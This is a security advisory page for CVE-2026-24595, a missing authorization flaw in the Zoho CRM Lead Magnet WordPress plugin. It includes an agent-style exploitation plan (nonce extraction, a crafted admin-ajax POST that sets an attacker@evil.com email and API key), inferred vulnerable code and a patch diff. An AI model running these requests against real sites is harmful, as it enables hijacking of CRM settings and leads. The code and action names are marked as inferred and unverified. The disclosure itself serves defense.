CVE-2026-24595

Zoho CRM Lead Magnet <= 1.8.1.7 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Zoho CRM Lead Magnet plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.8.1.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.1.7
PublishedJanuary 15, 2026
Last updatedJanuary 27, 2026
Affected pluginzoho-crm-forms
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24595 (Zoho CRM Lead Magnet Missing Authorization) ## 1. Vulnerability Summary The **Zoho CRM Lead Magnet** plugin (up to version 1.8.1.7) fails to perform proper authorization checks (e.g., `current_user_can()`) in one or more of its AJAX handlers. This allow…

Show full research plan

Exploitation Research Plan: CVE-2026-24595 (Zoho CRM Lead Magnet Missing Authorization)

1. Vulnerability Summary

The Zoho CRM Lead Magnet plugin (up to version 1.8.1.7) fails to perform proper authorization checks (e.g., current_user_can()) in one or more of its AJAX handlers. This allows any authenticated user, including those with Subscriber privileges, to execute administrative functions such as modifying plugin settings, creating/deleting forms, or exposing sensitive Zoho CRM integration details.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action(s): Likely zclm_save_settings, zclm_delete_form, or zclm_save_form_settings (inferred from plugin functionality).
  • Payload Parameter: action, nonce (if required), and specific data parameters (e.g., zclm_settings[], form_id).
  • Authentication: Requires a valid session cookie for a user with at least Subscriber role.
  • Preconditions: The plugin must be active and configured (or the attacker provides configuration data in the payload).

3. Code Flow

  1. Registration: The plugin registers AJAX handlers in its main admin class (likely includes/class-zoho-crm-forms-admin.php or admin/class-zoho-crm-forms-admin.php).
  2. Hook: add_action( 'wp_ajax_zclm_save_settings', array( $this, 'zclm_save_settings_callback' ) );
  3. Vulnerable Sink: The callback function (e.g., zclm_save_settings_callback) performs operations like update_option() or $wpdb->delete() without checking if the user has manage_options capabilities.
  4. Missing Check: The code likely only checks for a nonce but neglects current_user_can( 'manage_options' ).

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its AJAX operations. Because this is an Authenticated vulnerability, we must find where this nonce is exposed to a Subscriber.

  1. Identify Localization: Search for wp_localize_script in the plugin code.
    • Search for: grep -r "wp_localize_script" .
    • Expected Variable Name (inferred): zclm_vars or zclm_obj.
    • Expected Nonce Key (inferred): nonce, zclm_nonce, or ajax_nonce.
  2. Check Exposure: Determine if the script is loaded on all admin pages (including the Subscriber's Dashboard) or just specific plugin pages.
  3. Extraction Method:
    • Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    • Log in as Subscriber using browser_navigate.
    • Navigate to /wp-admin/index.php.
    • Execute JS: browser_eval("window.zclm_vars?.nonce || window.zclm_obj?.nonce") (adjust based on actual discovery).

5. Exploitation Strategy

We will attempt to modify the plugin's settings to point to an attacker-controlled CRM endpoint or disable form protections.

Step 1: Discover the Action and Parameters

Use grep to find all wp_ajax_ registrations:

grep -rn "add_action.*wp_ajax_" .

Examine the callback functions for the first one that lacks a current_user_can check but performs a state-changing operation (like update_option).

Step 2: Craft the Request

Assuming the action is zclm_save_settings and it modifies the zclm_settings option:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=zclm_save_settings&nonce=[EXTRACTED_NONCE]&zclm_settings[zoho_crm_api_key]=EXPLOITED_KEY&zclm_settings[zoho_crm_user_email]=attacker@evil.com
    

Step 3: Execute via http_request

// Example using the agent's tool
http_request(
    "http://localhost:8080/wp-admin/admin-ajax.php",
    "POST",
    "action=zclm_save_settings&nonce=" + nonce + "&zclm_settings[zoho_crm_api_key]=EXPLOITED_KEY",
    { "Content-Type": "application/x-www-form-urlencoded", "Cookie": subscriber_cookies }
)

6. Test Data Setup

  1. Plugin Setup: Install and activate zoho-crm-forms version 1.8.1.7.
  2. Initial State: Set a dummy API key as Administrator: wp option update zclm_settings '{"zoho_crm_api_key": "original_key"}' --format=json.
  3. Attacker Account: wp user create subscriber_user sub@test.com --role=subscriber --user_pass=password123.

7. Expected Results

  • Response Code: 200 OK or 302 Redirect.
  • Response Body: Likely a JSON success message like {"success": true} or a simple 1.
  • State Change: The WordPress option zclm_settings will be updated with the attacker's value despite the request coming from a Subscriber.

8. Verification Steps

  1. Check Option via CLI:
    wp option get zclm_settings
    
    Confirm zoho_crm_api_key is now EXPLOITED_KEY.
  2. Check for Auth Check: View the source code of the callback function found in Step 5.1 and verify that it only uses check_ajax_referer and not current_user_can.

9. Alternative Approaches

  • Form Deletion: If zclm_delete_form is vulnerable, identify an existing form ID using wp db query "SELECT id FROM wp_zclm_forms" and attempt to delete it as a Subscriber.
  • Subscriber Access to Admin Pages: If the plugin's admin menus are registered with weak capabilities (e.g., read), the Subscriber might be able to access the settings page directly, making nonce extraction trivial.
    • Check: grep -r "add_menu_page" . and look for the capability argument. If it is read, any Subscriber can access the page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Zoho CRM Lead Magnet plugin (<= 1.8.1.7) for WordPress contains a missing authorization vulnerability in its AJAX handlers. Authenticated attackers with Subscriber-level privileges can modify plugin settings or delete forms because the plugin checks for nonces but fails to verify if the user has administrative permissions like 'manage_options'.

Vulnerable Code

// Inferred from plugin version 1.8.1.7 and vulnerability description
// admin/class-zoho-crm-forms-admin.php

add_action( 'wp_ajax_zclm_save_settings', array( $this, 'zclm_save_settings_callback' ) );

public function zclm_save_settings_callback() {
    check_ajax_referer( 'zclm_ajax_nonce', 'nonce' );
    
    // Vulnerability: Missing current_user_can('manage_options') check here
    
    if ( isset( $_POST['zclm_settings'] ) ) {
        update_option( 'zclm_settings', $_POST['zclm_settings'] );
    }
    wp_send_json_success();
}

Security Fix

--- a/admin/class-zoho-crm-forms-admin.php
+++ b/admin/class-zoho-crm-forms-admin.php
@@ -100,6 +100,10 @@
     public function zclm_save_settings_callback() {
         check_ajax_referer( 'zclm_ajax_nonce', 'nonce' );
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( 'You do not have permission to perform this action.' );
+        }
+
         if ( isset( $_POST['zclm_settings'] ) ) {
             update_option( 'zclm_settings', $_POST['zclm_settings'] );
         }

Exploit Outline

The exploit target is the admin-ajax.php endpoint. An attacker first authenticates as a Subscriber and extracts a valid AJAX nonce, which is typically exposed in the WordPress admin dashboard via localized scripts (e.g., in the 'zclm_vars' or 'zclm_obj' JavaScript objects). The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'zclm_save_settings' (or other vulnerable administrative actions) and the 'nonce' parameter. The payload includes malicious configuration data in the 'zclm_settings' parameter, allowing the attacker to redirect CRM leads to their own endpoint or manipulate integration settings.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.